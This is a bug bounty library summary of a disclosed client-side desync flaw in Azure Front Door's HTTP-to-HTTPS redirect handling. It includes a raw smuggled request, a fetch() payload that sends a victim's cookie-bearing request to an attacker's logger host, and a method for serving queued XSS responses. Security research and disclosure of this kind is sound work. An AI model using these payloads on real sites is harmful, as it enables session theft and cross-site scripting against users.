# Knocking on the Front Door (client side desync attack on Azure CDN)

Azure Front Door ignored Content-Length on HTTP-to-HTTPS redirects, enabling client-side desync to steal cookies or forge responses across any Front Door site.

- Payout: $7,500
- Severity: high
- Program: Microsoft
- Credited: Jeti
- Disclosed: 2023-07-31
- Write-up quality: 8/10
- Original: https://blog.jeti.pw/posts/knocking-on-the-front-door/
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-jeti-pw-posts-knocking-on-the-front-door
- Tags: domain:web impact:ato impact:data-leak kind:bounty platform:blog sev:high tech:cdn technique:chained vuln:request-smuggling vuln:xss

**Target:** Azure Front Door CDN HTTP-to-HTTPS redirect endpoint
**Root cause:** Front Door's HTTP-to-HTTPS redirect handler ignores the Content-Length header and treats the request body as a new request, desynchronizing the browser's connection.
**Steps:**
1. Send `POST / HTTP/1.1` with `Content-Length: 34` and body `GET / HTTP/1.1\r\nHost: redacted.com\r\n\r\n` to an HTTP Front Door endpoint; observe two 307 responses.
2. From attacker page, `fetch('http://azure-victim.jeti.pw/x', {method:'POST', body:"POST /logger HTTP/1.1\r\nHost: azure-attacker.jeti.pw\r\nContent-Length: 200\r\n\r\n", mode:'no-cors', redirect:'follow', credentials:'include'})`.
3. Redirect victim to `http://azure-victim.jeti.pw/`; browser reuses connection, sending a GET that completes the smuggled POST body to attacker's logger.
4. For response forgery, smuggle a request to attacker-controlled Front Door site whose response contains XSS; victim's next request receives the queued malicious response.
**How found:** While testing HTTP-to-HTTPS redirect behavior after reading Albinowax's client-side desync research, the author sent a POST with a body containing a GET request and noticed two 307 responses, indicating the Content-Length was ignored and the body was parsed as a separate request.
**Exploitation:** Attacker hosts a page that issues a cross-domain POST to a Front Door endpoint with a body containing a smuggled request. The browser's connection desyncs, and a subsequent redirect to the victim site causes the victim's request (including cookies) to be appended to the smuggled request, exfiltrating it to the attacker's server. Alternatively, the smuggled request triggers a response that is queued and later served to the victim's next request, enabling XSS in the victim site's context.
**Escalation:** Because all Front Door customers share IPs and keep-alive connections, the attacker can target any Front Door-powered site, making it a 'universal' XSS and cookie theft vector.
**Insight:** Test redirect endpoints (especially HTTP-to-HTTPS) for CL.0-style desync by sending a POST with a body containing a full HTTP request; if the server responds twice, the body is being parsed as a new request, enabling client-side desync.